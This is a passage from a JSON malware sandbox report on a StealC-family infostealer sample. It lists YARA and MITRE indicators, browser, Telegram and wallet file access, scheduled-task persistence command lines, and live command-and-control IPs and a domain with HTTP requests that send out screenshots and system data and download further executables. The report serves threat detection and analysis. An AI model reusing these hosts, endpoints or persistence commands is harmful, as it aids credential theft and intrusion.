Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-57","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 196.251.107.104 on port 1912\n TCP traffic to 196.251.107.104 on port 6606","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"mimikatz_lsass_mdmp\" matched process \"00000000-00007368\" as \"LSASS minidump file for mimikatz\" (Author: Benjamin DELPY (gentilkiwi))\n YARA signature \"win_tinynuke_g0\" classified file \"sample.bin\" as \"tinynuke,zeus,banker\" (Author: Slavo Greminger, SWITCH-CERT)\n YARA signature \"MALWARE_Win_MetaStealer\" matched process \"00000000-00007368\" as \"Detects MetaStealer infostealer\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - Malware.StealC","description":"YARA signature Malware.StealC matched on file \"foipbiu.exe\"\n YARA signature Malware.StealC matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":10,"id":"yara-215","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"eServiceHost.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"eServiceHost.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"eServiceHost.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"eServiceHost.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to steal desktop application's information (file access)","description":"bnciobys.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Roaming\\TELEGRAM DESKTOP\\TDATA related to Telegram\n bnciobys.exe trying to open a file %APPDATA%\\TELEGRAM DESKTOP\\TDATA related to Telegram","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-97","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"$c7","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Opens a handle of credential dumping utility","description":"\"xvpbhsn.exe\" opens a process \"C:\\Windows\\System32\\lsass.exe\" (UID: 00000000-00000096)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-300","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$c8","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$c9","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$ca","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Spyware","details_count":6,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Attempts to steal desktop application's information (file access)"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Persistence","details_count":8,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Injects into remote processes"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"},{"detail":"Injects into explorer"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Reads the windows product ID"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Evasive","details_count":8,"details":[{"detail":"Marks file for deletion"},{"detail":"Tries to hide tracks of having downloaded a file from the internet"},{"detail":"May check for the presence of a forensics/monitoring tool"},{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to terminate a process"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Network","details_count":2,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"},{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}]},"activity":{"stats":{"process_count":32,"spawned_processes_count":32,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":109,"imported_dlls_count":128,"dropped_files_count":0,"extracted_files_count":28,"files_written_count":59,"files_deleted_count":0,"registry_keys_created_count":62,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":64,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":6,"dns_resolutions_count":2,"contacted_urls_count":15,"http_requests_count":15},"behavior_tags":["commodity","modular","rat","loader","backdoor","amadeyloader","informationstealer","stealcv2","opensource","redlinestealer","xworm","criminal","asyncrat","downloader","tinynuke","banker","zeus","windows-server-utility","malicious","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"697954f55c56059a1d0432c2","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan_Win64_Stealc_AF_AMTB","contacted_countries":["DEU","GBR","HKG"],"submit_name":"a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin","analysis_start_time":"2026-01-28T00:14:47+00:00","indicators_count":{"informative":337,"suspicious":136,"malicious":34},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"address":"45.93.20.55","port":80,"protocol":"TCP","country":"Hong Kong SAR China","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"address":"104.21.30.123","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"address":"45.93.20.151","port":80,"protocol":"TCP","country":"Hong Kong SAR China","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"address":"196.251.107.104","port":1912,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"address":"196.251.107.104","port":6606,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}],"dns_resolutions":[{"domain":"mosslotus2020.shop","address":"104.21.30.123","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"domain":"t.me","address":"149.154.167.99","ttl":2,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}],"http_requests":[{"host":"t.me","host_ip":"149.154.167.99:443","url":"/xtelegram_xstar_bot","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xtelegram_xstar_bot HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: gvfs/1.57.2\nHost: t.me","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"45.93.20.55","host_ip":"45.93.20.55:80","url":"/49dcd5e318c542c5.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /49dcd5e318c542c5.php HTTP/1.1\nContent-Type: application/json\nHost: 45.93.20.55\nContent-Length: 136\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"mosslotus2020.shop","host_ip":"104.21.30.123:80","url":"/fc42b661e800a99c949ecc10001c1f3b/6v0tazc5mboxujs","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /fc42b661e800a99c949ecc10001c1f3b/6v0tazc5mboxujs HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Client/1.0\nHost: mosslotus2020.shop","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"45.93.20.151","host_ip":"45.93.20.151:80","url":"/geter/index.php?cmd=task&uid=btldr0671ECFCFE70F269A&status=task","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /geter/index.php?cmd=task&uid=btldr0671ECFCFE70F269A&status=task HTTP/1.1\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: 45.93.20.151\nConnection: Close","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"mosslotus2020.shop","host_ip":"104.21.30.123:80","url":"/fc42b661e800a99c949ecc10001c1f3b/ejk52zwt2js16ro","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /fc42b661e800a99c949ecc10001c1f3b/ejk52zwt2js16ro HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain\nUser-Agent: Client/1.0\nContent-Length: 24\nHost: mosslotus2020.shop","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"mosslotus2020.shop","host_ip":"104.21.30.123:80","url":"/fc42b661e800a99c949ecc10001c1f3b/q7cherolivolejk","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /fc42b661e800a99c949ecc10001c1f3b/q7cherolivolejk HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/octet-stream\nUser-Agent: Client/1.0\nX-Filename: systems.txt\nX-Browser-Type: system\nX-Profile-Name: info\nContent-Length: 682\nHost: mosslotus2020.shop","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"45.93.20.151","host_ip":"45.93.20.151:80","url":"/martread.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /martread.exe HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: 45.93.20.151\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"45.93.20.55","host_ip":"45.93.20.55:80","url":"/panel/client.php?A068533DBF09758809014","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /panel/client.php?A068533DBF09758809014 HTTP/1.1\nHost: 45.93.20.55\nPragma: no-cache\nContent-type: text/html\nConnection: close","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"mosslotus2020.shop","host_ip":"104.21.30.123:80","url":"/fc42b661e800a99c949ecc10001c1f3b/q38dyv0te345uf4","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /fc42b661e800a99c949ecc10001c1f3b/q38dyv0te345uf4 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: image/bmp\nUser-Agent: Client/1.0\nX-Filename: screenshot.bmp\nContent-Length: 3072054\nHost: mosslotus2020.shop","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"mosslotus2020.shop","host_ip":"104.21.30.123:80","url":"/fc42b661e800a99c949ecc10001c1f3b/yzc5yj81yv0h2fw","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /fc42b661e800a99c949ecc10001c1f3b/yzc5yj81yv0h2fw HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Client/1.0\nContent-Length: 13\nHost: mosslotus2020.shop","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"mosslotus2020.shop","host_ip":"104.21.30.123:80","url":"/fc42b661e800a99c949ecc10001c1f3b/ufcx6bc1ef45e7g","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /fc42b661e800a99c949ecc10001c1f3b/ufcx6bc1ef45e7g HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Client/1.0\nContent-Length: 10\nHost: mosslotus2020.shop","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"45.93.20.55","host_ip":"45.93.20.55:80","url":"/u6j3phm900pz.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /u6j3phm900pz.exe HTTP/1.1\nHost: 45.93.20.55\nPragma: no-cache\nContent-type: text/html\nConnection: close","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"45.93.20.55","host_ip":"45.93.20.55:80","url":"/syibvx.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /syibvx.exe HTTP/1.1\nHost: 45.93.20.55\nPragma: no-cache\nContent-type: text/html\nConnection: close","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"45.93.20.55","host_ip":"45.93.20.55:80","url":"/Public-key_73.18.9_INSTALL.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /Public-key_73.18.9_INSTALL.exe HTTP/1.1\nHost: 45.93.20.55\nPragma: no-cache\nContent-type: text/html\nConnection: close","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]},{"host":"45.93.20.55","host_ip":"45.93.20.55:80","url":"/syncloh.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /syncloh.exe HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: 45.93.20.55\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"697954f55c56059a1d0432c2"}],"processes":[{"pid":7388,"ppid":0,"name":"a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin.exe","command_line":"","sha256":"a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34","normalized_path":"C:\\a10e2a453eaf617ffed2ec5a5f33248a56bf81426a04a199fa468083ab5f5e34.bin.exe","uid":"00000000-00007388","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5944,"ppid":7388,"name":"foipbiu.exe","command_line":"","sha256":"f764eb491783312f88d6c05026bcb29d0dc320007dee7cddde1254c26b4d3921","normalized_path":"%APPDATA%\\foipbiu.exe","parent_uid":"00000000-00007388","uid":"00000000-00005944"},{"pid":3796,"ppid":7388,"name":"ivlnbis.exe","command_line":"","sha256":"ee2497c17e190d848012439ed2a07fc49d0cccca3c303b8d0108a9ef02c7a96d","normalized_path":"%APPDATA%\\ivlnbis.exe","parent_uid":"00000000-00007388","uid":"00000000-00003796"},{"pid":5440,"ppid":3796,"name":"explorer.exe","command_line":"","sha256":"107060bab6d8dff0fdf91777f84453b8336fdc4c30ca189ab9d58e8801c9e924","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00000000-00003796","uid":"00000000-00005440"},{"pid":3708,"ppid":7388,"name":"syncappk.exe","command_line":"","sha256":"eb25f6d3dca1828c253864aca66915a852f96def70321d138d2b0f800360cacc","normalized_path":"%APPDATA%\\syncappk.exe","parent_uid":"00000000-00007388","uid":"00000000-00003708"},{"pid":4588,"ppid":3708,"name":"schtasks.exe","command_line":"/query /tn \"A068533DBF09758809014\"","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00003708","uid":"00000000-00004588"},{"pid":2740,"ppid":3708,"name":"schtasks.exe","command_line":"/create /sc minute /tn \"A068533DBF09758809014\" /tr \"%APPDATA%\\A068533DBF09758809014\\A068533DBF09758809014.exe\"","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00003708","uid":"00000000-00002740"},{"pid":4300,"ppid":3708,"name":"A068533DBF09758809014.exe","command_line":"","sha256":"eb25f6d3dca1828c253864aca66915a852f96def70321d138d2b0f800360cacc","normalized_path":"%APPDATA%\\A068533DBF09758809014\\A068533DBF09758809014.exe","parent_uid":"00000000-00003708","uid":"00000000-00004300"},{"pid":1948,"ppid":4300,"name":"dllhost.exe","command_line":"","sha256":"6eee0bba5afb762b96e605b4a7eebd3b22f4c8696ad0b6119aab0fcdb119ffbb","normalized_path":"%WINDIR%\\SysWOW64\\dllhost.exe","parent_uid":"00000000-00004300","uid":"00000000-00001948"},{"pid":2376,"ppid":1948,"name":"EE51.tmp.u6j3phm900pz.exe","command_line":"","sha256":"5dd299f67b1c5651f3d6b8e420efdd09e0cbc4c221fee6097865868c08fde903","normalized_path":"%TEMP%\\EE51.tmp.u6j3phm900pz.exe","parent_uid":"00000000-00001948","uid":"00000000-00002376"},{"pid":3560,"ppid":1948,"name":"F826.tmp.syibvx.exe","command_line":"","sha256":"ee2497c17e190d848012439ed2a07fc49d0cccca3c303b8d0108a9ef02c7a96d","normalized_path":"%TEMP%\\F826.tmp.syibvx.exe","parent_uid":"00000000-00001948","uid":"00000000-00003560"},{"pid":1264,"ppid":1948,"name":"6BD.tmp.Public-key_73.18.9_INSTALL.exe","command_line":"","sha256":"c5bfd0abb2e443daf2b319726ee97aadc657aacde9f466228efe908e2193e9b3","normalized_path":"%TEMP%\\6BD.tmp.Public-key_73.18.9_INSTALL.exe","parent_uid":"00000000-00001948","uid":"00000000-00001264"},{"pid":4708,"ppid":1264,"name":"6BD.tmp.Public-key_73.18.9_INSTALL.tmp","command_line":"/SL5=\"$602B6,1937075,856064,%TEMP%\\6BD.tmp.Public-key_73.18.9_INSTALL.exe\"","sha256":"b0ab2c825d7b1eddb12cbe25f60259a908a64e4b409d14b3866520afad0b0180","normalized_path":"%TEMP%\\is-2U074.tmp\\6BD.tmp.Public-key_73.18.9_INSTALL.tmp","parent_uid":"00000000-00001264","uid":"00000000-00004708"},{"pid":740,"ppid":4708,"name":"6BD.tmp.Public-key_73.18.9_INSTALL.exe","command_line":"/VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD","sha256":"c5bfd0abb2e443daf2b319726ee97aadc657aacde9f466228efe908e2193e9b3","normalized_path":"%TEMP%\\6BD.tmp.Public-key_73.18.9_INSTALL.exe","parent_uid":"00000000-00004708","uid":"00000000-00000740"},{"pid":7952,"ppid":740,"name":"6BD.tmp.Public-key_73.18.9_INSTALL.tmp","command_line":"/SL5=\"$702B6,1937075,856064,%TEMP%\\6BD.tmp.Public-key_73.18.9_INSTALL.exe\" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD","sha256":"b0ab2c825d7b1eddb12cbe25f60259a908a64e4b409d14b3866520afad0b0180","normalized_path":"%TEMP%\\is-4K79B.tmp\\6BD.tmp.Public-key_73.18.9_INSTALL.tmp","parent_uid":"00000000-00000740","uid":"00000000-00007952"},{"pid":5976,"ppid":7388,"name":"bnciobys.exe","command_line":"","sha256":"5dd299f67b1c5651f3d6b8e420efdd09e0cbc4c221fee6097865868c08fde903","normalized_path":"%APPDATA%\\bnciobys.exe","parent_uid":"00000000-00007388","uid":"00000000-00005976"},{"pid":5952,"ppid":7388,"name":"socxtnre.exe","command_line":"","sha256":"534a44895c898ab6246d0123f48e71823f4a26965fbc3f61c8e8c9c7a1d28857","normalized_path":"%APPDATA%\\socxtnre.exe","parent_uid":"00000000-00007388","uid":"00000000-00005952"},{"pid":4548,"ppid":5952,"name":"schtasks.exe","command_line":"/query /tn \"671ECFCFE70F269A\"","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00005952","uid":"00000000-00004548"},{"pid":3788,"ppid":5952,"name":"schtasks.exe","command_line":"/create /sc minute /tn \"671ECFCFE70F269A\" /tr \"%APPDATA%\\671ECFCFE70F269A\\671ECFCFE70F269A.exe\"","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00005952","uid":"00000000-00003788"},{"pid":1932,"ppid":5952,"name":"svchost.exe","command_line":"-k netsvcs","sha256":"1030ce4102dac701fab043e40444e8f6c96c8c04b5bd512a59e1a4999d22b38c","normalized_path":"%WINDIR%\\SysWOW64\\svchost.exe","parent_uid":"00000000-00005952","uid":"00000000-00001932"},{"pid":2216,"ppid":1932,"name":"zyxwvuts.exe","command_line":"","sha256":"5dfd68940c695a01548c0f75b755629b32b9809304312aeda3a9742a451012b4","normalized_path":"%TEMP%\\zyxwvuts.exe","parent_uid":"00000000-00001932","uid":"00000000-00002216"},{"pid":7860,"ppid":2216,"name":"zyxwvuts.tmp","command_line":"/SL5=\"$1C034A,4880337,828416,%TEMP%\\zyxwvuts.exe\"","sha256":"59453c9b443c47091a8002b6fe216d27daccbd7f9d0d62882a97bc104edba508","normalized_path":"%TEMP%\\is-2Q7BH.tmp\\zyxwvuts.tmp","parent_uid":"00000000-00002216","uid":"00000000-00007860"},{"pid":3564,"ppid":7860,"name":"zyxwvuts.exe","command_line":"/VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD","sha256":"5dfd68940c695a01548c0f75b755629b32b9809304312aeda3a9742a451012b4","normalized_path":"%TEMP%\\zyxwvuts.exe","parent_uid":"00000000-00007860","uid":"00000000-00003564"},{"pid":5220,"ppid":3564,"name":"zyxwvuts.tmp","command_line":"/SL5=\"$502B6,4880337,828416,%TEMP%\\zyxwvuts.exe\" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD","sha256":"59453c9b443c47091a8002b6fe216d27daccbd7f9d0d62882a97bc104edba508","normalized_path":"%TEMP%\\is-PAI50.tmp\\zyxwvuts.tmp","parent_uid":"00000000-00003564","uid":"00000000-00005220"},{"pid":7492,"ppid":5220,"name":"FnHotkeyUtility.exe","command_line":"-Embedding","sha256":"2728e26af764a64dd31f6df20bad9ce68f27a1c54628abf7353a62f5e67a9dff","normalized_path":"%ALLUSERSPROFILE%\\9cde36b5-8801-40b4-8ab2-378a2730bd18\\FnHotkeyUtility.exe","parent_uid":"00000000-00005220","uid":"00000000-00007492"},{"pid":316,"ppid":1932,"name":"ocqesgui.exe","command_line":"","sha256":"4d60481b15d3c0fe5f925a702fdf67b5efc016dc360407189f3d30429f205c31","normalized_path":"%TEMP%\\ocqesgui.exe","parent_uid":"00000000-00001932","uid":"00000000-00000316"},{"pid":96,"ppid":7388,"name":"xvpbhsn.exe","command_line":"","sha256":"3b037b318dc2f20fb69cf335aaca95b436c152ebe00893d26c850d3334c9b1ed","normalized_path":"%APPDATA%\\xvpbhsn.exe","parent_uid":"00000000-00007388","uid":"00000000-00000096"},{"pid":4584,"ppid":7388,"name":"ponbyxs.exe","command_line":"","sha256":"191ee35d59e9a5931693a774419205bd3055408f449328a4d129ea2a4e61c19c","normalized_path":"%APPDATA%\\ponbyxs.exe","parent_uid":"00000000-00007388","uid":"00000000-00004584"},{"pid":1696,"ppid":4584,"name":"ponbyxs.tmp","command_line":"\"%APPDATA%\\ponbyxs.exe\"","sha256":"bca5a36e5b00807f170c6d4fb4c9ab5944cc6a322da7af15babd3af78138b222","normalized_path":"%TEMP%\\is-J5QF5.tmp\\ponbyxs.tmp","parent_uid":"00000000-00004584","uid":"00000000-00001696"},{"pid":3064,"ppid":1696,"name":"ponbyxs.exe","command_line":"/VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD","sha256":"191ee35d59e9a5931693a774419205bd3055408f449328a4d129ea2a4e61c19c","normalized_path":"%APPDATA%\\ponbyxs.exe","parent_uid":"00000000-00001696","uid":"00000000-00003064"},{"pid":6276,"ppid":3064,"name":"ponbyxs.tmp","command_line":"\"%APPDATA%\\ponbyxs.exe\" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD","sha256":"bca5a36e5b00807f170c6d4fb4c9ab5944cc6a322da7af15babd3af78138b222","normalized_path":"%TEMP%\\is-T9T06.tmp\\ponbyxs.tmp","parent_uid":"00000000-00003064","uid":"00000000-00006276"},{"pid":7368,"ppid":6276,"name":"eServiceHost.exe","command_line":"-Embedding","sha256":"90157dc84e575a50cc539702f7f4232ac1e2d3dec4d710aaf01580b638efbf9e","normalized_path":"%ALLUSERSPROFILE%\\09378f14-4f77-4e5a-baac-0eb9e134a52d\\eServiceHost.exe","parent_uid":"00000000-00006276","uid":"00000000-00007368"}],"all_imported_dlls":["ntmarta.dll","RstrtMgr.dll","System.Windows.Forms.dll","win32u.dll","winnsi.dll","nsi.dll","winrnr.dll","winsta.dll","devobj.dll","ole32.dll","mscoree.dll","taskschd.dll","vcruntime140_1.dll","msvcrt.dll","msvcp_win.dll","rsaenh.dll","System.Web.Extensions.dll","hid.dll","SensApi.dll","apphelp.dll","sspicli.dll","FWPUCLNT.DLL","ncrypt.dll","oleaut32.dll","msIso.dll","System.ServiceModel.dll","kernel.appcore.dll","cldapi.dll","wbemsvc.dll","webengine4.dll","user32.dll","uxtheme.dll","clbcatq.dll","edputil.dll","vcruntime140.dll","cfgmgr32.dll","combase.dll","Windows.StateRepositoryPS.dll","ExplorerFrame.dll","powrprof.dll","GdiPlus.dll","OnDemandConnRouteHelper.dll","System.Runtime.Serialization.ni.dll","System.Transactions.dll","advapi32.dll","comctl32.dll","System.Web.dll","imagehlp.dll","secur32.dll","mskeyprotect.dll","spkvol.dll","clr.dll","imm32.dll","msasn1.dll","schannel.dll","sfc_os.dll","ntasn1.dll","shell32.dll","gdi32.dll","gdi32full.dll","dnsapi.dll","rasadhlp.dll","gpapi.dll","comdlg32.dll","mswsock.dll","psapi.dll","wow64win.dll","dwmapi.dll","sfc.dll","wbemcomn.dll","System.Security.dll","windows.storage.dll","bcrypt.dll","msvcp140.dll","KernelBase.dll","fltLib.dll","msctf.dll","setupapi.dll","kernel32.dll","iertutil.dll","cryptbase.dll","shfolder.dll","tiptsf.dll","ucrtbase_clr0400.dll","clrjit.dll","SHCore.dll","VxSSL64.dll","ncryptsslp.dll","ludp.dll","VxSSL32.dll","version.dll","vcruntime140_clr0400.dll","mscorlib.ni.dll","wininet.dll","OneCoreUAPCommonProxyStub.dll","wintrust.dll","cryptsp.dll","wtsapi32.dll","wpfgfx_v0400.dll","shlwapi.dll","wow64.dll","webio.dll","wow64cpu.dll","xmllite.dll","nlaapi.dll","dpapi.dll","mscoreei.dll","sciter-x.dll","props